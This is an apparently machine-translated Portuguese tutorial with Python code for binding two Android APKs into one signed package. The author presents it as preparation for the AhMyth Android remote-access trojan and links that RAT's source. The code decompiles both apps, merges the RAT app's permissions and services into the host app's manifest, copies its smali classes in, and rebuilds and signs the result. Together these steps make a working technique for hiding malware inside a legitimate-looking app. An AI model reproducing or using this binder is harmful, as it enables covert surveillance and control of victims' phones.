
Decidi, de alguma forma, colar dois arquivos apk, mas não há muita informação sobre como fazer isso na Internet. Depois armado com o Ahmyth Trojan para Android (sua
fonte ), uma jornada começou no mundo da colagem de apk com suas próprias mãos. Brevemente sobre isso ainda mais ...
Brevemente sobre a essência do problema:
Existem dois arquivos apk (digamos 1.apk e 2.apk). A tarefa é criar o 3.apk, que colará o apk 1 e 2 (e executará suas funções).
Em resumo (código python):
Nós temos:
1. Pasta
apk - para arquivos com apk;
2. Pasta
tmp - para arquivos descompilados;
3. Pasta
Ferramentas - com software adicional (como apktool.jar, sign.jar, testkey).
Primeiro, determinamos a pasta atual em que trabalhamos e as pastas em que vamos descompilar:
Em seguida, descompilamos os arquivos apk na pasta tmp:
print " "+pwd+"/apk/1.apk" subprocess.call("java -jar "+ pwd+"/tools/apktool.jar d "+pwd+"/apk/1.apk -f -o " + pwd+"/tmp/1" , shell=True ) print " "+pwd+"/apk/2.apk" subprocess.call("java -jar " + pwd+"/tools/apktool.jar d "+pwd+"/apk/2.apk -f -o " + pwd+"/tmp/2" , shell=True )
Após esta etapa, temos duas pastas / tmp / 1 e / tmp / 2 com arquivos descompilados. Agora a parte divertida é a
união dos manifestos !
print " " mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()
Agora em ordem neste código:Encontramos o arquivo AndroidManifest.xml na pasta / tmp / 1:
mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()
Neste arquivo, encontramos todos os serviços e classes declarados:
service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")]
Na pasta AndroidManifest.xml / tmp / 1, copie tudo da marca "<uses-permission" para a marca "<application". Aqui estão todas as permissões que o programa precisa:
permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")]
Encontramos o arquivo AndroidManifest.xml na pasta / tmp / 2:
mainfest1 = open(apkFolder2+"/AndroidManifest.xml", "r").read()
Depois disso, precisamos
combinar tudo isso em um arquivo , para que tudo esteja no lugar.
O novo manifesto (new_mainfest2) consiste em:
- O início do aplicativo AndroidManifest.xml 2.apk (do começo ao fim das permissões necessárias);
- Adicionamos aqui as permissões do aplicativo 1.apk (permission1);
- Adicione tudo o que está no AndroidManifest.xml do aplicativo 2.apk do "<aplicativo" para "
Adicione todos os serviços do aplicativo 1.apk (service1);
Adicione os restos do aplicativo AndroidManifest.xml 2.apk.
new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</manifest>")+len("</manifest>")]
Substituindo AndroidManifest.xml na pasta / tmp / 2:
Isso completa a compilação do AndroidManifest. Resta copiar todas as classes de / tmp / 1 para / tmp / 2. Mais precisamente, copiaremos as pastas
smali (aqui estão todas as classes de aplicativos) e
desconhecidas :
subprocess.call("cp -rn "+apkFolder1+"/smali "+apkFolder2 , shell=True )
Bem, em conclusão, você precisa coletar tudo isso em um arquivo apk, assinar:
print " apk "+ pwd+"/tmp/3.apk" subprocess.call("java -jar " + pwd+"/tools/apktool.jar b "+pwd+"/tmp/2 -o " + pwd+"/tmp/3.apk" , shell=True ) print " "+ pwd+"/tmp/3.apk" subprocess.call("java -jar " + pwd+"/tools/sign.jar "+pwd+"/tmp/3.apk --override", shell=True )
Como resultado, o arquivo 3.apk aparece na pasta tmp, que é a cola dos outros dois.
PS Nesta modalidade, ao colar as permissões de dois aplicativos, sua comparação e adição apenas dos que não são não são verificadas. Pode (e haverá) duplicação na declaração de permissões. Mas, nesta fase, tudo funciona com duplicação.
Fontes:
→
AhMyth-Android-RAT